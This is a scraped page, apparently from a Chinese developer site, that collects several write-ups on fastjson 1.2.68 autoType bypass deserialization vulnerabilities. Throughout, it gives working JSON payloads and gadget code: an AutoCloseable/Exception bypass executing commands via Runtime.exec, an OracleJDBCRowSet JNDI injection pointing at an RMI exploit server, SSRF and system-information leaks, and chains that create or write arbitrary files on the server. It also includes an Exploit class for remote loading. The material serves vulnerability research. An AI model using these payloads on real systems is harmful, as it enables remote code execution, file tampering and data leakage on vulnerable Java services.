精华内容
下载资源
问答
  • Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
    千次阅读
    2022-03-16 10:46:38

    0x00 前言

    反序列化总纲

    除了Exception之外,还可以用通过AutoCloseable的方式来进行绕过

    0x01 环境搭建

    demo:

    public class Test1 implements AutoCloseable{
    
        public Test1(String cmd){
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            }
    
        }
        public void close() throws Exception {
    
        }
        public static void main(String[] args) {
            String a = " {\n" +
                    "            \"@type\":\"java.lang.AutoCloseable\",\n" +
                    "                \"@type\": \"Test1\",\n" +
                    "                \"cmd\": \"calc.exe\"\n" +
                    "        }";
            System.out.println(a);
            JSON.parseObject(a);
        }
    }
    

    0x02 调用分析

    实际上通过AutoCloseable来进行调用,第一点,AutoCloseable必须存在在mappings表中,这样可以直接获取到class
    在这里插入图片描述
    第二步,需要进入 ParserConfig 走到createJavaBeanDeserializer,也就是获取JavaBeanDeserializer
    在这里插入图片描述
    在加载的时候会对expectClass进行赋值
    在这里插入图片描述
    在checkAutotype中,如果expectClassFlag存在,并且不在黑名单里,那么这个类就可以被反序列化
    在这里插入图片描述

    附录

    mapping表

    mappings = {ConcurrentHashMap@618}  size = 102
     "java.awt.Color" -> {Class@728} "class java.awt.Color"
     "java.lang.IndexOutOfBoundsException" -> {Class@730} "class java.lang.IndexOutOfBoundsException"
     "java.lang.Integer" -> {Class@272} "class java.lang.Integer"
     "java.lang.NoSuchFieldException" -> {Class@733} "class java.lang.NoSuchFieldException"
     "java.lang.Long" -> {Class@271} "class java.lang.Long"
     "java.math.BigInteger" -> {Class@582} "class java.math.BigInteger"
     "java.lang.LinkageError" -> {Class@328} "class java.lang.LinkageError"
     "java.lang.StringIndexOutOfBoundsException" -> {Class@738} "class java.lang.StringIndexOutOfBoundsException"
     "java.lang.StackOverflowError" -> {Class@323} "class java.lang.StackOverflowError"
     "long" -> {Class@741} "long"
     "java.lang.VerifyError" -> {Class@743} "class java.lang.VerifyError"
     "java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap"
     "java.util.Calendar" -> {Class@746} "class java.util.Calendar"
     "java.lang.StackTraceElement" -> {Class@748} "class java.lang.StackTraceElement"
     "[long" -> {Class@348} "class [J"
     "java.lang.NoSuchMethodError" -> {Class@209} "class java.lang.NoSuchMethodError"
     "java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong"
     "java.util.TreeMap" -> {Class@162} "class java.util.TreeMap"
     "java.util.Date" -> {Class@754} "class java.util.Date"
     "java.lang.NoSuchFieldError" -> {Class@756} "class java.lang.NoSuchFieldError"
     "java.util.concurrent.atomic.AtomicInteger" -> {Class@186} "class java.util.concurrent.atomic.AtomicInteger"
     "java.lang.Short" -> {Class@273} "class java.lang.Short"
     "java.util.Locale" -> {Class@40} "class java.util.Locale"
     "java.lang.InstantiationException" -> {Class@761} "class java.lang.InstantiationException"
     "java.lang.SecurityException" -> {Class@763} "class java.lang.SecurityException"
     "java.sql.Timestamp" -> {Class@765} "class java.sql.Timestamp"
     "java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap"
     "java.util.UUID" -> {Class@768} "class java.util.UUID"
     "java.lang.IllegalAccessError" -> {Class@770} "class java.lang.IllegalAccessError"
     "com.alibaba.fastjson.JSONObject" -> {Class@598} "class com.alibaba.fastjson.JSONObject"
     "[short" -> {Class@350} "class [S"
     "java.util.HashSet" -> {Class@7} "class java.util.HashSet"
     "[byte" -> {Class@351} "class [B"
     "java.lang.Boolean" -> {Class@279} "class java.lang.Boolean"
     "java.sql.Date" -> {Class@777} "class java.sql.Date"
     "java.util.concurrent.ConcurrentSkipListSet" -> {Class@779} "class java.util.concurrent.ConcurrentSkipListSet"
     "short" -> {Class@781} "short"
     "java.lang.Object" -> {Class@347} "class java.lang.Object"
     "java.util.BitSet" -> {Class@18} "class java.util.BitSet"
     "[char" -> {Class@354} "class [C"
     "java.lang.Float" -> {Class@276} "class java.lang.Float"
     "java.math.BigDecimal" -> {Class@584} "class java.math.BigDecimal"
     "java.lang.Character" -> {Class@278} "class java.lang.Character"
     "java.lang.InternalError" -> {Class@357} "class java.lang.InternalError"
     "[double" -> {Class@352} "class [D"
     "byte" -> {Class@791} "byte"
     "double" -> {Class@793} "double"
     "java.lang.Exception" -> {Class@333} "class java.lang.Exception"
     "java.lang.Double" -> {Class@275} "class java.lang.Double"
     "[B" -> {Class@351} "class [B"
     "java.lang.TypeNotPresentException" -> {Class@798} "class java.lang.TypeNotPresentException"
     "[C" -> {Class@354} "class [C"
     "[D" -> {Class@352} "class [D"
     "java.text.SimpleDateFormat" -> {Class@802} "class java.text.SimpleDateFormat"
     "[F" -> {Class@353} "class [F"
     "[I" -> {Class@349} "class [I"
     "java.util.TreeSet" -> {Class@806} "class java.util.TreeSet"
     "[J" -> {Class@348} "class [J"
     "java.util.ArrayList" -> {Class@229} "class java.util.ArrayList"
     "java.lang.IllegalMonitorStateException" -> {Class@322} "class java.lang.IllegalMonitorStateException"
     "com.alibaba.fastjson.JSONArray" -> {Class@811} "class com.alibaba.fastjson.JSONArray"
     "[S" -> {Class@350} "class [S"
     "java.lang.String" -> {Class@343} "class java.lang.String"
     "java.lang.Number" -> {Class@277} "class java.lang.Number"
     "java.util.LinkedHashSet" -> {Class@816} "class java.util.LinkedHashSet"
     "[Z" -> {Class@355} "class [Z"
     "java.lang.NegativeArraySizeException" -> {Class@819} "class java.lang.NegativeArraySizeException"
     "java.lang.NumberFormatException" -> {Class@821} "class java.lang.NumberFormatException"
     "java.lang.RuntimeException" -> {Class@332} "class java.lang.RuntimeException"
     "char" -> {Class@824} "char"
     "java.lang.OutOfMemoryError" -> {Class@324} "class java.lang.OutOfMemoryError"
     "java.lang.IllegalStateException" -> {Class@827} "class java.lang.IllegalStateException"
     "java.sql.Time" -> {Class@829} "class java.sql.Time"
     "java.lang.NoSuchMethodException" -> {Class@831} "class java.lang.NoSuchMethodException"
     "java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap"
     "java.awt.Point" -> {Class@834} "class java.awt.Point"
     "[boolean" -> {Class@355} "class [Z"
     "float" -> {Class@837} "float"
     "java.lang.AutoCloseable" -> {Class@292} "interface java.lang.AutoCloseable"
     "java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException"
     "java.lang.Byte" -> {Class@274} "class java.lang.Byte"
     "[int" -> {Class@349} "class [I"
     "com.alibaba.fastjson.JSONPObject" -> {Class@842} "class com.alibaba.fastjson.JSONPObject"
     "java.lang.Cloneable" -> {Class@338} "interface java.lang.Cloneable"
     "java.lang.IllegalAccessException" -> {Class@845} "class java.lang.IllegalAccessException"
     "java.util.IdentityHashMap" -> {Class@847} "class java.util.IdentityHashMap"
     "java.awt.Font" -> {Class@849} "class java.awt.Font"
     "java.awt.Rectangle" -> {Class@851} "class java.awt.Rectangle"
     "java.util.HashMap" -> {Class@205} "class java.util.HashMap"
     "java.lang.NoClassDefFoundError" -> {Class@854} "class java.lang.NoClassDefFoundError"
     "java.util.Hashtable" -> {Class@308} "class java.util.Hashtable"
     "java.util.WeakHashMap" -> {Class@179} "class java.util.WeakHashMap"
     "java.lang.IllegalThreadStateException" -> {Class@858} "class java.lang.IllegalThreadStateException"
     "java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException"
     "int" -> {Class@861} "int"
     "java.util.Collections$UnmodifiableMap" -> {Class@863} "class java.util.Collections$UnmodifiableMap"
     "java.util.concurrent.TimeUnit" -> {Class@865} "class java.util.concurrent.TimeUnit"
     "java.util.concurrent.ConcurrentSkipListMap" -> {Class@867} "class java.util.concurrent.ConcurrentSkipListMap"
     "boolean" -> {Class@869} "boolean"
     "java.lang.InstantiationError" -> {Class@871} "class java.lang.InstantiationError"
     "java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException"
     "[float" -> {Class@353} "class [F"
    
    更多相关内容
  • fastjson1.2.69反序列化远程代码执行漏洞介绍fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令...
  • fastjson1.2.75暂未修补的反序列化“漏洞“-附件资源
  • Alibaba发布的最新版本Fastjson1.2.67已经防御此漏洞;只需要下载fastjson-1.2.67.jar包更新即可。
  • 最新版 fastjson-1.2.70.jar
  • fastjson-1.2.72

    2020-07-07 11:35:29
    阿里jar包, fastjson-1.2.72,项目后可以使用,有需要的自取
  • fastjson-1.2.75.jar包

    2020-11-11 15:42:14
    Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。 Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。
  • 最新版fastjson-1.2.75.jar

    2020-11-09 19:47:52
    fastjson是阿里的一个开源项目,在java的JavaBean对象、json字符串、json对象之间转换中很方便
  • 前段时间fastjson爆发了一个可以绕过autotype开关的反序列化漏洞,在1.2.68及以下版本中均受影响,黑客可利用该漏洞直接获取服务器系统权限并远程执行任意命令。 2、漏洞分析&Gadget利用 前几天看了网上大佬发的...

    1、背景

    前段时间fastjson爆发了一个可以绕过autotype开关的反序列化漏洞,在1.2.68及以下版本中均受影响,黑客可利用该漏洞直接获取服务器系统权限并远程执行任意命令。

    2、漏洞分析&Gadget利用

    前几天看了网上大佬发的漏洞原理分析文档,在这里又重新通过调试代码的方式分析一下大概的漏洞触发原理。

    2.1、漏洞分析

    fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路文章得知,这个漏洞其实是用户指定了期望类(expectClass)造成的,我这里选取了java.lang.AutoCloseable,这个接口类在fastjson<=1.2.68版本还未加入fastjson黑名单,fastjson黑名单fastjson blacklist感兴趣的读者可以看一下,然后开始进行断点调试。
    第一步:从@type 指定的类作为条件去获取 Deserialzer 对象,如下图所示:
    获取Deserialzer 对象
    跟进ParserConfig#getDeserializer 方法:
    在这里插入图片描述
    走到最后一个条件,会调用createJavaBeanDeserializer方法创建JavaBeanDeserializer对象,继续跟进代码。
    跟进JavaBeanDeserializer#deserialze方法
    会将第二个 @type 的类名和前面构造 JavaBeanDeserializer 对象时指定的expectClass期望类直接传了进来,调用checkAutoType方法进行一次校验,如下图所示:
    在这里插入图片描述
    这里expectClass的值是第一个@type的值,也就是java.lang.AutoCloseable ,是不为空的,所以绕过了autoType的检测,不过这里还需要对目标类,也就是第二个@type 的类名进行一次黑白名单的校验,当它不存在于黑名单的时候,便会调用TypeUtils.loadClass方法加载目标类,最后调用isAssignableFrom()方法,用来判断反序列化目标类是否实现了期望类接口,如果是,则返回该class对象。
    最后对目标类进行反序列化操作,漏洞触发。感兴趣的可以自己下断点调试一遍。

    综上,总结一下漏洞触发的条件:
    1、需要构造一个期望类并且期望类不能在黑名单 这里java.lang.AutoCloseable刚好不在黑名单。
    2、目标类需要继承或实现期望类,并且不在fastjson的黑名单。
    备注:从fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路文章中了解到,fastjson在1.2.51版本后将ClassLoader、DataSource、RowSet 等接口类做了代码判断,所以JNDI注入基本无法使用。

    2.2、Gadget寻找思路

    上节提到,fastjson大于等于1.2.51基本上无法利用jndi注入,从大佬的分析文章看到可以通过写入文件的方式间接RCE,这个笔者目前还在寻找对应的gadget,下面讲一下fastjson<1.2.51版本下RCE的gadget寻找思路。

    利用环境:fastjson 1.2.47.jar +ojdbc14.jar(数据库连接的jar包,Java项目中应该用的比较多)
    利用思路
    1、寻找一个父类或父接口为java.lang.AutoCloseable的类,RowSet接口类实现了AutoCloseable接口,刚好通过分析ojdbc14.jar的源码发现,所以这次找了oracle.jdbc.rowset.OracleJDBCRowSet这个类来进行利用。
    2、根据fastjson的特性和JNDI注入的原理,先寻找一下这个类的lookup函数,如下图所示,发现getConnection这个函数调用了lookup这个方法
    在这里插入图片描述
    然后发现传入的参数是可控的,因为OracleJDBCRowSet这个类继承了OracleRowSet这个抽象类,而OracleRowSet中有dataSourceName对应的set和get方法。
    在这里插入图片描述
    3、接下来查看哪个函数调用了getConnection这个方法
    在这里插入图片描述
    这里有两个函数调用了getConnection方法,我们注意到setCommand()方法中这个command的参数也是可控的,并且类型为String,意味着随便传入一个值即可。
    在这里插入图片描述
    4、构造poc如下:

    {\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"command\":\"111\"}"
    

    备注:这个gadget用到的oracle.jdbc.rowset.OracleJDBCRowSet类在fastjson 1.2.61已经被加入到了官方黑名单中

    5、利用jndi注入弹出计算器
    在这里插入图片描述

    总结

    本人菜鸟一枚,由于之前对fastjson的反序列化流程并不熟悉,所以漏洞分析起来较为困难,中途有参考过网上大佬分析的文章,自己重新调试代码并整理。如有错误,还请大佬们不吝赐教,本次分析中涉及到的漏洞poc请勿拿去做非法用途。

    Reference

    1:fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路
    2:fastjson 1.2.68 最新版本有限制 autotype bypass

    展开全文
  • Fastjson 1.2.68 bypass autotype

    千次阅读 2020-05-11 14:34:44
    fastjson 1.2.68 最新版本有限制 autotype bypass 1.2.68加入了一个safeMode功能,默认未开启,需要用户手动开启。以下利用在默认未开启情况下可利用。 修复方法: ParserConfig.getGlobalInstance().setSafeMode...

    参考:

    1.2.68加入了一个safeMode功能,默认未开启,需要用户手动开启。以下利用在默认未开启情况下可利用。
    修复方法:

    ParserConfig.getGlobalInstance().setSafeMode(true);
    

    依赖:

            <!-- test for fastjson 1.2.68 autotype bypass -->
            <dependency>
                <groupId>org.seleniumhq.selenium</groupId>
                <artifactId>selenium-api</artifactId>
                <version>3.141.59</version>
            </dependency>
    

    在这里下断点:
    selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
    在这里插入图片描述

    可以获取到一些敏感信息:
    PoC:

    {"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}
    

    在这里插入图片描述
    还可以看到一些方法栈信息,看到一些服务端使用的框架的信息。

    当然这个前提是需要WEB应用的classpath存在selenium-api

    作者提出还有一个思路可以SSRF(当然也需要相应的classpath):
    从mvn引入,或者自己写一个类:

    package org.joychou;
    
    import javax.activation.DataSource;
    import javax.activation.URLDataSource;
    import java.net.URL;
    
    public class DatasourceException extends Exception {
    
        public DatasourceException() {
    
        }
    
        private DataSource dataSource;
    
        public DataSource getDataSource() {
            return dataSource;
        }
    
        public void setDataSource(URL url) {
            this.dataSource = new URLDataSource(url);
        }
    }
    

    在这里插入图片描述
    PoC:

    {"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}
    

    在这里插入图片描述

    细节

    由于@type指定了为java.lang.Exception
    fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)

    ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
    

    得到的deserializer 为ThrowableDeserializer类型。
    在这里插入图片描述

    跟进:

    obj = deserializer.deserialze(this, clazz, fieldName);
    

    在这里插入图片描述

    javax.activation.URLDataSource#getContentType
    javax.activation.URLDataSource#getInputStream
    调用两次HTTP请求。

    在这里插入图片描述

    java.lang.AutoCloseable

    写一个实验类:

    package org.joychou.controller;
    
    import java.lang.AutoCloseable;
    
    public class TestReadable implements AutoCloseable{
    
        private String testString;
    
        public TestReadable(){}
    
        public void setTestString(String cmd) throws Exception{
            Runtime.getRuntime().exec(cmd);
            testString = cmd;
        }
    
        @Override
        public void close() throws Exception {
            System.out.println("test by cqq!");
        }
    }
    

    调试截图:
    在这里插入图片描述
    在这里插入图片描述

    发送json请求:

    {"@type": "java.lang.AutoCloseable", "@type": "org.joychou.controller.TestReadable", "testString": "calc"}
    

    在这里插入图片描述

    所以漏洞利用条件:

    1. fastjson <= 1.2.68
    2. classpath里存在直接/间接implements AutoCloseable的类
    3. gadget不在fastjson的黑名单中

    参考

    • https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649724832&idx=1&sn=38221072dc8ab301622548a7308d7d0f&chksm=888ca7cfbffb2ed93ceafaa535c0363884235a27e641c5f94f929fd5bd94fb7b02a8be3795c9&mpshare=1&scene=1&srcid=&sharer_sharetime=1591869951942&sharer_shareid=fb0655fa709c1756a98023e565a61b64&key=8e631ad1dbd881d4a5dffda86edf406c1be31e25f9e8a0867791a585710b6ffbb109da05f70e97f1d3ccf75f664804e5fc40c9df8cc1f2105e7025d4a90180d7e957bf000f0233d1c23e98fda09e9cdf&ascene=1&uin=NDc2ODEzNjQw&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A8ZJ0aVz90cAzXqY2BuK18c%3D&pass_ticket=i10K8KJHYA0zyynTnKP1nzyeK4xv5y7%2Bv29Gba2y3ajPWV5%2BIxSVbKTwv%2FezpPn6
    • https://mp.weixin.qq.com/s/w_QK-Q95wV_zeXYUu6lIgA
    • https://paper.seebug.org/1236/
    • https://b1ue.cn/archives/382.html

    调用get方法,比如getInstance方法:

    "instance":{"$ref":"$.instance"}
    

    例如以下代码:

    JSON.parse(json);   // 默认不会调用getter 使用$ref就可以调用到getInstance()
    //        JSON.parseObject(json); // parseObject默认就会调用getter getInstance()
    

    2020/8/10更新

    jdk自带的api任意文件创建

    {
        '@type':"java.lang.AutoCloseable",
        '@type':'java.io.FileOutputStream',
        'file':'/tmp/nonexist',
        'append':false
    }
    

    以及

    {
        '@type':"java.lang.AutoCloseable",
        '@type':'java.io.FileWriter',
        'file':'/tmp/nonexist',
        'append':false
    }
    

    安装文章的说法没有成功,不知道为什么
    在这里插入图片描述
    jdk_1.8.0 172,201,221试了都不行。

    后来发现jdk11可以,虽然也没有默认的无参构造器,但是可以成功。
    在这里插入图片描述
    任意文件创建:
    在这里插入图片描述

    依赖第三方库的任意文件写入

    来源:
    寻找Fastjson 1.2.68 AutoCloseable利用链

    {
        'stream':
        {
            '@type':"java.lang.AutoCloseable",
            '@type':'java.io.FileOutputStream',
            'file':'C:/Users/Administrator/test_fastjson_333.txt',
            'append':false
        },
        'writer':
        {
            '@type':"java.lang.AutoCloseable",
            '@type':'org.apache.solr.common.util.FastOutputStream',
            'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
            'sink':
            {
                '$ref':'$.stream'
            },
            'start':38
        },
        'close':
        {
            '@type':"java.lang.AutoCloseable",
            '@type':'org.iq80.snappy.SnappyOutputStream',
            'out':
            {
                '$ref':'$.writer'
            }
        }
    }
    

    看这个poc的引用关系,学习到需要从一个“具有接收基础类型参数的构造器的类作为gadget”开始构造利用链。
    在这里插入图片描述
    利用成功:
    在这里插入图片描述

    调用栈:

    <init>:73, SnappyOutputStream (org.iq80.snappy)
    newInstance0:-1, NativeConstructorAccessorImpl (jdk.internal.reflect)
    newInstance:62, NativeConstructorAccessorImpl (jdk.internal.reflect)
    newInstance:45, DelegatingConstructorAccessorImpl (jdk.internal.reflect)
    newInstance:490, Constructor (java.lang.reflect)
    deserialze:1012, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:808, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:288, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
    parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
    parseObject:565, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1401, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1367, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:183, JSON (com.alibaba.fastjson)
    parse:193, JSON (com.alibaba.fastjson)
    parse:149, JSON (com.alibaba.fastjson)
    parseObject:254, JSON (com.alibaba.fastjson)
    addComment:47, CommentController (com.github.isafeblue.fastjson.controller)
    

    依赖两个库:

    		<!-- https://mvnrepository.com/artifact/org.iq80.snappy/snappy -->
    		<dependency>
    			<groupId>org.iq80.snappy</groupId>
    			<artifactId>snappy</artifactId>
    			<version>0.4</version>
    		</dependency>
    
    		<!-- https://mvnrepository.com/artifact/org.apache.solr/solr-solrj -->
    		<dependency>
    			<groupId>org.apache.solr</groupId>
    			<artifactId>solr-solrj</artifactId>
    			<version>8.6.2</version>
    		</dependency>
    

    这个类FastOutputStream的构造器接收三个参数:

    在这里插入图片描述

    jdk自带库的任意文件写入

    虽然不需要三方库, 但只能在 openjdk >= 11 下利用, 因为只有这些版本没去掉符号信息. fastjson 在类没有无参数构造函数时, 如果其他构造函数是有符号信息的话也是可以调用的, 所以可以多利用一些内部类, 但是 openjdk 8, 包括 oracle jdk 都是不带这些信息的, 导致无法反序列化, 自然也就无法利用.

    参考:

    在这里插入图片描述
    来源:
    https://github.com/threedr3am/learnjavabug/blob/96f81b85bab45453d8c29465225b51f3900148f3/fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java

    {'@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'C:/Users/Administrator/test_fastjson_444.txt'
        },
        'infl':
        {
            'input':
            {
                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit':22
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
    }
    

    如果不指定protocolVersion为1,则抛出IOException:
    在这里插入图片描述
    在这里插入图片描述
    看到不止一个构造器,尝试只用参数数量少的构造器,但是发现不能这样利用,会默认走到参数最多的构造器中,如果不指定参数的值,则会使用默认的值,然后造成错误,抛出异常。
    在这里插入图片描述

    在这里插入图片描述

    java\util\zip\Inflater.java
    这个构造器接收一个ByteBuffer类型的参数(抽象类),通过调试发现具体的类是java.nio.HeapByteBuffer

    在这里插入图片描述
    通过调试,发现这部分:

            {
                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit':22
            }
    

    是对应这部分:
    在这里插入图片描述
    limit如果不设置就会使用默认的0,即不会设置array的值。所以这里array有多长,这里limit就至少需要设置多大。
    这里设置了三个参数,而position使用默认的0就好:
    在这里插入图片描述

    只适用于jdk11?

    使用非jdk11的时候,fastjson就说找不到默认无参的构造器:
    在这里插入图片描述
    控制台的部分调用栈:

    com.alibaba.fastjson.JSONException: default constructor not found. class sun.rmi.server.MarshalOutputStream
    	at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:832) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.ParserConfig.getDeserializer(ParserConfig.java:565) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:805) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:395) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1401) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1367) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.JSON.parse(JSON.java:183) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.JSON.parse(JSON.java:193) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.JSON.parse(JSON.java:149) ~[fastjson-1.2.68.jar:na]
    	at com.alibaba.fastjson.JSON.parseObject(JSON.java:254) ~[fastjson-1.2.68.jar:na]
    	at com.github.isafeblue.fastjson.controller.CommentController.addComment(CommentController.java:47) ~[classes/:na]
    

    jdk11与其他jdk的不同,可以在这里下断点C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.68\fastjson-1.2.68.jar!\com\alibaba\fastjson\util\JavaBeanInfo#build:
    在这里插入图片描述
    除jdk11之外的jdk这里拿到的是空字符串数组:

    String[] parameterNames = visitor.getParameterNamesForMethod();
    

    C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.68\fastjson-1.2.68.jar!\com\alibaba\fastjson\asm\ClassReaderreadMethod(TypeCollector classVisitor, char[] c, int u)

    在这里插入图片描述

    展开全文
  • fastjson-1.2.69.zip

    2021-05-14 12:02:17
    反序列化远程执行漏洞 SSRF漏洞 远程拒绝服务漏洞
  • 继1.2.58绕过autotype之后,1.2.68又出现了新的绕过方式,通过Exception来进行绕过,但是此方法要求比较苛刻 0x01 环境搭建 首先来说版本,经过测试发现使用Exception的方法最低生效版本为1.2.40。所以maven调整到...

    0x00 前言

    反序列化总纲

    继1.2.58绕过autotype之后,1.2.68又出现了新的绕过方式,通过Exception来进行绕过,但是此方法要求比较苛刻

    0x01 环境搭建

    首先来说版本,经过测试发现使用Exception的方法最低生效版本为1.2.40。所以maven调整到1.2.40即可。

    这里我们需要假设有一个继承了Exception的类。

    public class test extends Exception {
    
        private String domain;
        public test() {
            super();
        }
        public void setDomain(String domain) {
            this.domain = domain;
        }
        @Override
        public String getMessage() {
            try {
                Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
            } catch (IOException e) {
                return e.getMessage();
            }
    
            return super.getMessage();
        }
    
        public static void main(String[] args) {
            String a = " {\n" +
                    "            \"@type\":\"java.lang.Exception\",\n" +
                    "                \"@type\": \"test\",\n" +
                    "                \"domain\": \"calc\"\n" +
                    "        }";
            System.out.println(a);
            JSON.parseObject(a);
        }
    }
    

    0x02 调用分析

    先来看第一次checkAutoType,从mapping中尝试获取clazz
    在这里插入图片描述
    在mapping中是存在Exception的,所以可以直接加载的到
    在这里插入图片描述
    继续跟进到deserializer.deserialze
    在这里插入图片描述
    在这里会判断是否是Throwable的子类,如果是的话就会给exClass赋值
    在这里插入图片描述

    在这里进行二次检测
    在这里插入图片描述
    这里expectClass不为空会进入黑白名单判断
    在这里插入图片描述
    因为是自定义的类名,所以可以轻松的过黑名单
    在这里插入图片描述
    在这里判断是否是expectClass的子类,如果是会直接返回
    在这里插入图片描述
    自此检测通过,照常运行。

    0x03 1.2.39无法执行payload

    在测试中发现在1.2.39中是无法执行payload的,主要原因如下:
    先来看1.2.40
    在1.2.40中会检测exClass是否是当前的clazz,如果不是话就会去获取
    在这里插入图片描述
    但是在1.2.39中是默认了this.clazz和输入是相同的东西,所以1.2.39中是无法进行利用的
    在这里插入图片描述

    0x04 实例

    按照浅蓝大佬给的例子中的org.openqa.selenium.WebDriverException

    主要是通过触发这一段代码来获取到一些信息

    public String getSystemInformation() {
            return String.format("System info: host: '%s', ip: '%s', os.name: '%s', os.arch: '%s', os.version: '%s', java.version: '%s'", HOST_NAME, HOST_ADDRESS, System.getProperty("os.name"), System.getProperty("os.arch"), System.getProperty("os.version"), System.getProperty("java.version"));
        }
    

    可以通过$ref':'$x.aa的方式去调用get方法。

    展开全文
  • 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 0x01 环境 首先是版本问题: fastjson 1.2.39-1.2.68 mysql 5.1.11- 8.x 默认Gadget maven <dependency> <groupId>mysql</...
  • 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 0x01 环境 maven文件: <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</...
  • 博客粉丝达到了3000人,很是感谢大家的支持以及对笔者博客的喜爱,后续笔者也将用心撰写更加有质量的博客与广大IT领域的人员进行深度交流,为了答谢广大的粉丝,本次奉上一篇最近写的Fastjson反序列化漏洞文章,以此...
  • fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕...
  • 这几天在一直研究fastjson反序列化漏洞,从1.2.24版本开始一直到1.2.68版本,其漏洞分析及其利用在网上还是很多的,但不知是大佬们有意为之还是怎样,各博客上写的payload大致差不多,但其实在1.2.68漏洞中,能用...
  • Fastjson小于1.2.68漏洞RCE利用exp

    万次阅读 2022-03-01 20:41:12
    json Exploit.java public class Exploit{ public Exploit() {} static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ... new String[]{"cmd.exe","/c", "calc.exe"} ...
  • 0x00 前言 ...主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 这一篇应该是最后一个网上能找到的poc分析了。 0x01 环境 参考 https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
